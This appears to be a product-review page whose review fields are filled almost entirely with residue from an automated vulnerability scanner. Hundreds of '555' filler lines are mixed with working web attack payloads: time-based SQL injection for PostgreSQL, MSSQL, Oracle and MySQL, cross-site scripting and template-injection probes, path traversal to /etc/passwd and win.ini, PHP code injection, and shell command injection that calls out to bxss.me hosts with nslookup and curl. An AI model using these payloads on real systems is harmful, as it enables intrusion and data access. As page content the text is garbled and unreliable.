Based on 812 reviews
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@BXncr
555
555%27%22\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
555
555
555
555
555
555
555
555
555
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
555
555
555
555
555
555
555
555
555
555PKJk1pWz')) OR 88=(SELECT 88 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
555
555
5554giaXVQq') OR 34=(SELECT 34 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
555
555TtPMso6r' OR 237=(SELECT 237 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
555
555
555-1)) OR 390=(SELECT 390 FROM PG_SLEEP(15))--
555
555
555
555
555[removed]huJ4(9266)[removed]
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
dfb__${98991*97996}__::.x
555-1) OR 574=(SELECT 574 FROM PG_SLEEP(15))--
dfb[[${98991*97996}]]xca
dfb{{98991*97996}}xca
555
555
555
555
555
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
555
555
555
555
555
555
<%={{={@{#{${dfb}}%>
555
555
555
bfgx4157z1z2abcxhjl4157
555
555
555
555
555
555
bfg6136?s1?s2?s3?hjl6136
555
555
555
555
555
555
555
555
5559671052
555
555
555
555
555
555
555
555
555
'"()&%
555
555
555
555
555
555
555
555'"()&%
555-1 OR 656=(SELECT 656 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
<!--
xfs.bxss.me
555
'"
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
post_review/.
555
555
555
555
post_review
555
555
555
555
post_review
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(120).concat(86).concat(104).concat(86)+(require'socket' Socket.gethostbyname('hitlc'+'mhblsnvw45e5b.bxss.me.')[3].to_s)+'
555
bxss.me/t/xss.html?
555
555
"+"A".concat(70-3).concat(22*4).concat(106).concat(74).concat(106).concat(77)+(require"socket" Socket.gethostbyname("hitvk"+"pprunpuua2667.bxss.me.")[3].to_s)+"
555
HttP://bxss.me/t/xss.html?
5551tpN6JtM'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
bxss.me
"+response.write(9045984*9494161)+"
555
c:/windows/win.ini
'+response.write(9045984*9494161)+'
555
/etc/shells
555
555
response.write(9045984*9494161)
http://bxss.me/t/fit.txt?.jpg
555
555
Http://bxss.me/t/fit.txt
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999772+9999999}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555-1 waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
12345'"\'\");|]*{ <>''????
555
555
555
555
555
555
555
555
555
555
555
../555
555
555
555
555
555
555
file:///etc/passwd
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
;(nslookup -q=cname hitqdppndwlor370ae.bxss.me||curl hitqdppndwlor370ae.bxss.me)|(nslookup -q=cname hitqdppndwlor370ae.bxss.me||curl hitqdppndwlor370ae.bxss.me)&(nslookup -q=cname hitqdppndwlor370ae.bxss.me||curl hitqdppndwlor370ae.bxss.me)
555
555
`(nslookup -q=cname hiteejgtqolbn5e256.bxss.me||curl hiteejgtqolbn5e256.bxss.me)`
555
555
555
|(nslookup -q=cname hithwsmozgbzaaa392.bxss.me||curl hithwsmozgbzaaa392.bxss.me)
555
555
555
&(nslookup -q=cname hitkcbyyzqrbyf51ae.bxss.me||curl hitkcbyyzqrbyf51ae.bxss.me)&'\"`0&(nslookup -q=cname hitkcbyyzqrbyf51ae.bxss.me||curl hitkcbyyzqrbyf51ae.bxss.me)&`'
555
555
555
&nslookup; -q=cname hitfowxdodrrx7fe7e.bxss.me&'\"`0&nslookup; -q=cname hitfowxdodrrx7fe7e.bxss.me&`'
555
555
555
$(nslookup -q=cname hitkvtcurjdkgb0e53.bxss.me||curl hitkvtcurjdkgb0e53.bxss.me)
555
555
555
(nslookup -q=cname hitkchnbtsoqr65265.bxss.me||curl hitkchnbtsoqr65265.bxss.me))
555
555|echo bdvseg$()\ avljqj\nz^xyu||a #' |echo bdvseg$()\ avljqj\nz^xyu||a #|" |echo bdvseg$()\ avljqj\nz^xyu||a #
555
555
|echo bzuvtm$()\ fplpef\nz^xyu||a #' |echo bzuvtm$()\ fplpef\nz^xyu||a #|" |echo bzuvtm$()\ fplpef\nz^xyu||a #
555
555&echo; gptzli$()\ skjjbx\nz^xyu||a #' &echo; gptzli$()\ skjjbx\nz^xyu||a #|" &echo; gptzli$()\ skjjbx\nz^xyu||a #
555-1); waitfor delay '0:0:15' --
555
555
&echo; ipvyee$()\ hfekdl\nz^xyu||a #' &echo; ipvyee$()\ hfekdl\nz^xyu||a #|" &echo; ipvyee$()\ hfekdl\nz^xyu||a #
555
555
echo akfewt$()\ faolbj\nz^xyu||a #' &echo; akfewt$()\ faolbj\nz^xyu||a #|" &echo; akfewt$()\ faolbj\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
nosTNkUs
555
555
555
555
555
555
555
555
555
555
'.print(md5(31337)).'
555
${@print(md5(31337))}\
555&n952655=v906098
555
555
${@print(md5(31337))}
555
555
";print(md5(31337));$a="
555
';print(md5(31337));$a='
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
555
555
555
555
555
555
555"||sleep(27*1000)*hwsgjz||"
".gethostbyname(lc("hitgb"."ukqdbffsdd9d2.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(87).chr(119).chr(88)."
555
555'||sleep(27*1000)*auntzd||'
'.gethostbyname(lc('hitie'.'kqlwlwey37004.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(85).chr(105).chr(76).'
555
555"&&sleep;(27*1000)*ihxeoa&&"
555-1; waitfor delay '0:0:15' --
555
555'&&sleep;(27*1000)*nszifk&&'
555
'"()
555
555
555
555
555
555
555
555
^(#$!@#$)(()))******
!(()&&!|*|*|
)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 2+521-521-1=0+0+0+1 --
-1' OR 2+349-349-1=0+0+0+1 or 'gZXnMAyy'='
-1' OR 2+346-346-1=0+0+0+1 --
-1 OR 2+731-731-1=0+0+0+1
-1 OR 2+884-884-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@UOgP3
555%27%22\'\"
555'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555D1x2pasD')) OR 790=(SELECT 790 FROM PG_SLEEP(15))--
555ZhP3Pykd') OR 263=(SELECT 263 FROM PG_SLEEP(15))--
555xF0Kk2Qk' OR 192=(SELECT 192 FROM PG_SLEEP(15))--
555-1)) OR 303=(SELECT 303 FROM PG_SLEEP(15))--
555-1) OR 468=(SELECT 468 FROM PG_SLEEP(15))--
555-1 OR 634=(SELECT 634 FROM PG_SLEEP(15))--
555yTJNjyv4'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 2+78-78-1=0+0+0+1 --
-1' OR 2+344-344-1=0+0+0+1 or '7MkbPGx7'='
-1' OR 2+280-280-1=0+0+0+1 --
-1 OR 2+868-868-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1 --
555
555
555
Item(s) added in the Cart
Item(s) not added. Please try again
Online Orders are not available at the moment